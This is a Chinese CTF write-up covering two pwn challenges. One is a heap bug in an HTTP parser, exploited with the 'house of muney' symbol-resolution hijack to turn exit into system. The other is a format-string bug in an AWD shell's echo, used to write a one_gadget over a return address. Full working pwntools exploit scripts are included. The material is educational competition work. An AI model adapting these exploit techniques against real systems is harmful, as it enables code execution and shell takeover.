今年国赛的华中分区赛一共放了两道 PWN
,一个一解,一个零解。零解的是 LLVM PASS PWN
,这个没有研究过,暂且先复现另一个题目(考察的是 house of muney
)还有一个 AWD
环节的 PWN
(考察的格式化字符串漏洞)
muney 本题没给 libc
,听说远程的 libc
版本为 2.31 9.9
,我这里用的是这个
保护策略
逆向分析 主函数首先是输入数据,并且将其传入了 sub_4021f3
函数进行处理,不断循环这个过程
sub_4021f3
函数是对各种功能的封装,不过在此之前经过了 jiexi
(重命名后)函数对数据的解析处理,这里也是主要来逆向的地方。
jiexi
函数的这个解析规则,可以通过 GDB
动态调试加上 IDA
静态分析来判断出这个函数就是在解析 HTTP
请求头,也就是输入的数据以 HTTP
请求头的格式输入即可。再简单调试一下,观察下哪部分是触发功能的选项以及参数即可,最终得出了规则大概如下(以触发 create
函数为例)
def create (size,content_length,content ): payload="""POST /create HTTP/1.1 Host: 10.12.145.134:50013 Accept-Encoding: gzip Connection: close Size: """ +str (size)+""" Content-Length: """ +str (content_length)+"""\n\r\n""" +content return payload
create
函数可以申请堆块,而堆块最小为 0x100000
,这就意味着堆块会直接由 mmap
映射出来,位于内存映射区。
漏洞所在 在 edit
函数中,首先是获取了两个参数,第一个是索引,第二个则是偏移 offset
,在下图的红框部分中可以发现针对偏移 offset
的检查并没有做好,只检查了偏移不能大于申请内存块时的 size
,但是却可以为负(v9
为 int64
类型),这就导致了可以在申请内存块的上方(低地址方向)去写入数据
同时还存在一个 exit
函数,其参数为 /bin/sh
利用思路 我在比赛时考虑的思路是想把 exit
函数的 got
表改为 system
,最后触发即可。但一直苦于没有 libc
地址。当时是向 mmap
映射出来的区域的低地址处写入数据(劫持了 __free_hook
),再用 delete
函数进行触发,也确实是可以任意地址执行,但没有泄露 libc
地址的机会,也就卡死在这里了。
比赛结束后,请教了一下华科的师傅,才知道有 house of muney
这种手法。
原理是这样的:在进行延迟绑定时,解析出符号的真实地址是用 libc
基地址加上符号表中 st_value
字段值获得的,如果能修改 st_value
这个值的话,将其改为 system
函数的 st_value
,最终就可以让 exit
被解析成 system
。困难在于每个符号的 sym
结构体所在内存区域是只读的,因此要改大内存块的 size
,将其释放掉再申请出来,而 malloc
触发的 mmap
出的内存都是可读写 的,只要足够大,就可以将符号的 sym
结构体给申请出来进行篡改。
不过为了绕过一些检查,最终能成功进行解析函数真实地址,还需要篡改一些字段。分别是 bitmask_word
bucket
hasharr
st_value
至此,整体的流程如下
申请一个 0x150000
的内存块
利用 edit
功能,修改内存 size
为 0x171002
(不能太大,但是太小了又覆盖不到)
将其释放掉
申请一个 0x171002
的内存块,之后就可以来在这个范围内地址进行任意写入
伪造上面提到字段的值
最后触发 exit("/bin/sh")
,就能够解析成 system("/bin/sh")
需要伪造这几个字段的值写在了 EXP
中,st_name
的后四个字节是 strtab
距离符号名(exit
)的偏移量 (不同程序需要调试得到),该字段前四个字节是固定的,bitmask_word
和 bucket
以及 hasharr
也都是固定的。
EXP from tools import *context.log_level='debug' p,e,libc=load("muney1" ) def create (size,content_length,content ): payload="""POST /create HTTP/1.1 Host: 10.12.145.134:50013 Accept-Encoding: gzip Connection: close Size: """ +str (size)+""" Content-Length: """ +str (content_length)+"""\n\r\n""" +content return payload def edit (idx,offset,content_length,content ): payload=b"""POST /edit HTTP/1.1 Host: 10.12.145.134:50013 Accept-Encoding: gzip Connection: close Idx: """ +str (idx).encode()+b""" Offset: """ +str (offset).encode()+b""" Content-Length: """ +str (content_length).encode()+b"""\n\r\n""" +content return payload def delete (idx ): payload="""POST /delete HTTP/1.1 Host: 10.12.145.134:50013 Accept-Encoding: gzip Connection: close Idx: """ +str (idx)+""" Content-Length: 16\n\r\n""" +"a" *16 return payload def quit (): payload="""POST /quit HTTP/1.1 Host: 10.12.145.134:50013 Accept-Encoding: gzip Connection: close Idx: """ +str (0 )+""" Content-Length: 16\n\r\n""" +"a" *16 return payload p.sendafter("HTTP_Parser> " ,create(0x150000 ,16 ,'a' *16 )) p.sendafter("HTTP_Parser> " ,edit(0 ,-8 ,3 ,b'\x02\x10\x17' )) p.sendafter("HTTP_Parser> " ,delete(0 )) debug(p,0x401FFF ,0x4021EE ) p.sendafter("HTTP_Parser> " ,create(0x171002 ,16 ,'a' *16 )) p.sendafter("HTTP_Parser> " ,edit(0 ,0x152b78 ,8 ,p64(0xf010028c0201130e ))) p.sendafter("HTTP_Parser> " ,edit(0 ,0x152ca0 ,1 ,p8(0x86 ))) p.sendafter("HTTP_Parser> " ,edit(0 ,0x153d6c ,8 ,p64(0x7c967e3e7c967e3f ))) p.sendafter("HTTP_Parser> " ,edit(0 ,0x156d00 -0x8 ,3 ,b"\x90\x22\x05" )) p.sendafter("HTTP_Parser> " ,edit(0 ,0x156d00 -0x10 ,3 ,b"\xe5\x67\x1a" )) p.sendafter("HTTP_Parser> " ,edit(0 ,0x156d00 -0x10 +4 ,1 ,b"\x12" )) p.sendafter("HTTP_Parser> " ,edit(0 ,0x156d00 -0x10 +6 ,1 ,b"\xf0" )) p.sendafter("HTTP_Parser> " ,quit()) p.interactive()
awd_pwn 程序实现了一个 shell
,漏洞位于 echo
中,如果 echo
后面有至少两个参数并且没有 >
的情况下,除去最后一个参数,剩下参数打印时会触发格式化字符串漏洞(如下)
利用思路是打栈链(考察的是非栈上的格式化字符串漏洞),劫持原本返回地址 libc_start_main
为 one_gadget
,最终输入一个非法命令,退出即可拿到 shell
EXP from tools import *context.log_level='debug' p,e,libc=load("pwn" ) def cmd (payload ): p.sendlineafter("$ \x1B[0m" ,payload) cmd("echo %29$p a" ) p.recvuntil("\x78" ) libc_base=int (p.recv(12 ),16 )-0x240b3 log_addr('libc_base' ) one_gadget=libc_base+0xe3b31 debug(p,'pie' ,0x1Ed5 ,0x2818 ,0x23C5 ) cmd("echo %12$p a" ) p.recvuntil("\x78" ) stack_addr=int (p.recv(12 ),16 ) libc_start_main_address=stack_addr+0x38 log_addr('stack_addr' ) cmd("echo %" +str (libc_start_main_address&0xffff )+"c%31$hn a" ) cmd("echo %" +str (one_gadget&0xffff )+"c%59$hn a" ) cmd("echo %" +str ((libc_start_main_address+2 )&0xffff )+"c%31$hn a" ) cmd("echo %" +str ((one_gadget>>16 )&0xffff )+"c%59$hn a" ) cmd('a' ) p.interactive()
题目附件 muney
链接:https://pan.baidu.com/s/18eXF0Y_cE4ooQG50TB_7ig?pwd=flc5 提取码:flc5
awd_pwn
链接:https://pan.baidu.com/s/1F9qv7kqVB5yFbAULPtl_0Q?pwd=1234
提取码:1234
参考文章 GlibcHeap-house of muney - roderick - record and learn! (roderickchan.github.io)
[原创]how2heap深入浅出学习堆利用-Pwn-看雪-安全社区|安全招聘|kanxue.com